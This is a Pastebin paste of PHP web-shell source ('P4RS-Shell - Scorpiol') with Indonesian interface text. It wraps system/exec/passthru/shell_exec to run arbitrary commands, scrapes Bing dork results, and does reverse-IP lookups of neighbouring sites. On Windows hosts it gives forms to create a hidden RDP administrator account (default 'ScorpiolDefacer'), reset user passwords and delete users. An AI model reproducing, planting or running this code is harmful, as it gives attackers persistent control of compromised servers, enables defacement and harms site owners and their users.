Advertisement
Guest User

Untitled

a guest
Sep 6th, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.81 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>P4RS-Shell - Scorpiol</title>
  4. <style type='text/css'>
  5. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  6. html {
  7. background: #000000;
  8. color: #ffffff;
  9. font-family: 'Ubuntu';
  10. font-size: 13px;
  11. width: 100%;
  12. }
  13. li {
  14. display: inline;
  15. margin: 5px;
  16. padding: 5px;
  17. }
  18. table, th, td {
  19. border-collapse:collapse;
  20. font-family: Tahoma, Geneva, sans-serif;
  21. background: transparent;
  22. font-family: 'Ubuntu';
  23. font-size: 13px;
  24. }
  25. .table_home, .th_home, .td_home {
  26. border: 1px solid #ffffff;
  27. }
  28. th {
  29. padding: 10px;
  30. }
  31. a {
  32. color: #ffffff;
  33. text-decoration: none;
  34. }
  35. a:hover {
  36. color: gold;
  37. text-decoration: underline;
  38. }
  39. b {
  40. color: gold;
  41. }
  42. input[type=text], input[type=password],input[type=submit] {
  43. background: transparent;
  44. color: #ffffff;
  45. border: 1px solid #ffffff;
  46. margin: 5px auto;
  47. padding-left: 5px;
  48. font-family: 'Ubuntu';
  49. font-size: 13px;
  50. }
  51. textarea {
  52. border: 1px solid #ffffff;
  53. width: 100%;
  54. height: 400px;
  55. padding-left: 5px;
  56. margin: 10px auto;
  57. resize: none;
  58. background: transparent;
  59. color: #ffffff;
  60. font-family: 'Ubuntu';
  61. font-size: 13px;
  62. }
  63. select {
  64. width: 152px;
  65. background: #000000;
  66. color: lime;
  67. border: 1px solid #ffffff;
  68. margin: 5px auto;
  69. padding-left: 5px;
  70. font-family: 'Ubuntu';
  71. font-size: 13px;
  72. }
  73. option:hover {
  74. background: lime;
  75. color: #000000;
  76. }
  77. </style>
  78. </head>
  79. <?php
  80. function w($dir,$perm) {
  81. if(!is_writable($dir)) {
  82. return "<font color=red>".$perm."</font>";
  83. } else {
  84. return "<font color=lime>".$perm."</font>";
  85. }
  86. }
  87. function r($dir,$perm) {
  88. if(!is_readable($dir)) {
  89. return "<font color=red>".$perm."</font>";
  90. } else {
  91. return "<font color=lime>".$perm."</font>";
  92. }
  93. }
  94. function exe($cmd) {
  95. if(function_exists('system')) {
  96. @ob_start();
  97. @system($cmd);
  98. $buff = @ob_get_contents();
  99. @ob_end_clean();
  100. return $buff;
  101. } elseif(function_exists('exec')) {
  102. @exec($cmd,$results);
  103. $buff = "";
  104. foreach($results as $result) {
  105. $buff .= $result;
  106. } return $buff;
  107. } elseif(function_exists('passthru')) {
  108. @ob_start();
  109. @passthru($cmd);
  110. $buff = @ob_get_contents();
  111. @ob_end_clean();
  112. return $buff;
  113. } elseif(function_exists('shell_exec')) {
  114. $buff = @shell_exec($cmd);
  115. return $buff;
  116. }
  117. }
  118. function perms($file){
  119. $perms = fileperms($file);
  120. if (($perms & 0xC000) == 0xC000) {
  121. // Socket
  122. $info = 's';
  123. } elseif (($perms & 0xA000) == 0xA000) {
  124. // Symbolic Link
  125. $info = 'l';
  126. } elseif (($perms & 0x8000) == 0x8000) {
  127. // Regular
  128. $info = '-';
  129. } elseif (($perms & 0x6000) == 0x6000) {
  130. // Block special
  131. $info = 'b';
  132. } elseif (($perms & 0x4000) == 0x4000) {
  133. // Directory
  134. $info = 'd';
  135. } elseif (($perms & 0x2000) == 0x2000) {
  136. // Character special
  137. $info = 'c';
  138. } elseif (($perms & 0x1000) == 0x1000) {
  139. // FIFO pipe
  140. $info = 'p';
  141. } else {
  142. // Unknown
  143. $info = 'u';
  144. }
  145. // Owner
  146. $info .= (($perms & 0x0100) ? 'r' : '-');
  147. $info .= (($perms & 0x0080) ? 'w' : '-');
  148. $info .= (($perms & 0x0040) ?
  149. (($perms & 0x0800) ? 's' : 'x' ) :
  150. (($perms & 0x0800) ? 'S' : '-'));
  151. // Group
  152. $info .= (($perms & 0x0020) ? 'r' : '-');
  153. $info .= (($perms & 0x0010) ? 'w' : '-');
  154. $info .= (($perms & 0x0008) ?
  155. (($perms & 0x0400) ? 's' : 'x' ) :
  156. (($perms & 0x0400) ? 'S' : '-'));
  157. // World
  158. $info .= (($perms & 0x0004) ? 'r' : '-');
  159. $info .= (($perms & 0x0002) ? 'w' : '-');
  160. $info .= (($perms & 0x0001) ?
  161. (($perms & 0x0200) ? 't' : 'x' ) :
  162. (($perms & 0x0200) ? 'T' : '-'));
  163. return $info;
  164. }
  165. function hdd($s) {
  166. if($s >= 1073741824)
  167. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  168. elseif($s >= 1048576)
  169. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  170. elseif($s >= 1024)
  171. return sprintf('%1.2f',$s / 1024 ) .' KB';
  172. else
  173. return $s .' B';
  174. }
  175. function ambilKata($param, $kata1, $kata2){
  176. if(strpos($param, $kata1) === FALSE) return FALSE;
  177. if(strpos($param, $kata2) === FALSE) return FALSE;
  178. $start = strpos($param, $kata1) + strlen($kata1);
  179. $end = strpos($param, $kata2, $start);
  180. $return = substr($param, $start, $end - $start);
  181. return $return;
  182. }
  183. function getsource($url) {
  184. $curl = curl_init($url);
  185. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  186. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  187. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  188. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  189. $content = curl_exec($curl);
  190. curl_close($curl);
  191. return $content;
  192. }
  193. function bing($dork) {
  194. $npage = 1;
  195. $npages = 30000;
  196. $allLinks = array();
  197. $lll = array();
  198. while($npage <= $npages) {
  199. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  200. if($x) {
  201. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  202. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  203. $npage = $npage + 10;
  204. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  205. } else break;
  206. }
  207. $URLs = array();
  208. foreach($allLinks as $url){
  209. $exp = explode("/", $url);
  210. $URLs[] = $exp[2];
  211. }
  212. $array = array_filter($URLs);
  213. $array = array_unique($array);
  214. $sss = count(array_unique($array));
  215. foreach($array as $domain) {
  216. echo $domain."\n";
  217. }
  218. }
  219. function reverse($url) {
  220. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  221. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  222. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  223. curl_setopt($ch, CURLOPT_HEADER, 0);
  224. curl_setopt($ch, CURLOPT_POST, 1);
  225. $resp = curl_exec($ch);
  226. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  227. $array = explode(",,", $resp);
  228. unset($array[0]);
  229. foreach($array as $lnk) {
  230. $lnk = "http://$lnk";
  231. $lnk = str_replace(",", "", $lnk);
  232. echo $lnk."\n";
  233. ob_flush();
  234. flush();
  235. }
  236. curl_close($ch);
  237. }
  238. if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  239. if($_POST['create']) {
  240. $user = htmlspecialchars($_POST['user']);
  241. $pass = htmlspecialchars($_POST['pass']);
  242. if(preg_match("/$user/", exe("net user"))) {
  243. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  244. } else {
  245. $add_user = exe("net user $user $pass /add");
  246. $add_groups1 = exe("net localgroup Administrators $user /add");
  247. $add_groups2 = exe("net localgroup Administrator $user /add");
  248. $add_groups3 = exe("net localgroup Administrateur $user /add");
  249. echo "[ RDP ACCOUNT INFO ]<br>
  250. ------------------------------<br>
  251. IP: <font color=lime>".$ip."</font><br>
  252. Username: <font color=lime>$user</font><br>
  253. Password: <font color=lime>$pass</font><br>
  254. ------------------------------<br><br>
  255. [ STATUS ]<br>
  256. ------------------------------<br>
  257. ";
  258. if($add_user) {
  259. echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  260. } else {
  261. echo "[add user] -> <font color='red'>Gagal</font><br>";
  262. }
  263. if($add_groups1) {
  264. echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  265. } elseif($add_groups2) {
  266. echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  267. } elseif($add_groups3) {
  268. echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  269. } else {
  270. echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  271. }
  272. echo "------------------------------<br>";
  273. }
  274. } elseif($_POST['s_opsi']) {
  275. $user = htmlspecialchars($_POST['r_user']);
  276. if($_POST['opsi'] == '1') {
  277. $cek = exe("net user $user");
  278. echo "Checking username <font color=lime>$user</font> ....... ";
  279. if(preg_match("/$user/", $cek)) {
  280. echo "[ <font color=lime>Sudah ada</font> ]<br>
  281. ------------------------------<br><br>
  282. <pre>$cek</pre>";
  283. } else {
  284. echo "[ <font color=red>belum ada</font> ]";
  285. }
  286. } elseif($_POST['opsi'] == '2') {
  287. $cek = exe("net user $user ScorpiolDefacer");
  288. if(preg_match("/$user/", exe("net user"))) {
  289. echo "[change password: <font color=lime>Scorpiol</font>] -> ";
  290. if($cek) {
  291. echo "<font color=lime>Berhasil</font>";
  292. } else {
  293. echo "<font color=red>Gagal</font>";
  294. }
  295. } else {
  296. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  297. }
  298. } elseif($_POST['opsi'] == '3') {
  299. $cek = exe("net user $user /DELETE");
  300. if(preg_match("/$user/", exe("net user"))) {
  301. echo "[remove user: <font color=lime>$user</font>] -> ";
  302. if($cek) {
  303. echo "<font color=lime>Berhasil</font>";
  304. } else {
  305. echo "<font color=red>Gagal</font>";
  306. }
  307. } else {
  308. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  309. }
  310. } else {
  311. //
  312. }
  313. } else {
  314. echo "<center>";
  315. echo "-- Create RDP --<br>
  316. <form method='post'>
  317. <input type='text' name='user' placeholder='username' value='ScorpiolDefacer' required>
  318. <input type='text' name='pass' placeholder='password' value='ScorpiolDefacer' required>
  319. <input type='submit' name='create' value='>>'>
  320. </form>
  321. -- Option --<br>
  322. <form method='post'>
  323. <input type='text' name='r_user' placeholder='username' required>
  324. <select name='opsi'>
  325. <option value='1'>Cek Username</option>
  326. <option value='2'>Ubah Password</option>
  327. <option value='3'>Hapus Username</option>
  328. </select>
  329. <input type='submit' name='s_opsi' value='>>'>
  330. </form>
  331. </center>";
  332. }
  333. } else {
  334. echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  335. }
  336. ?>
  337. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement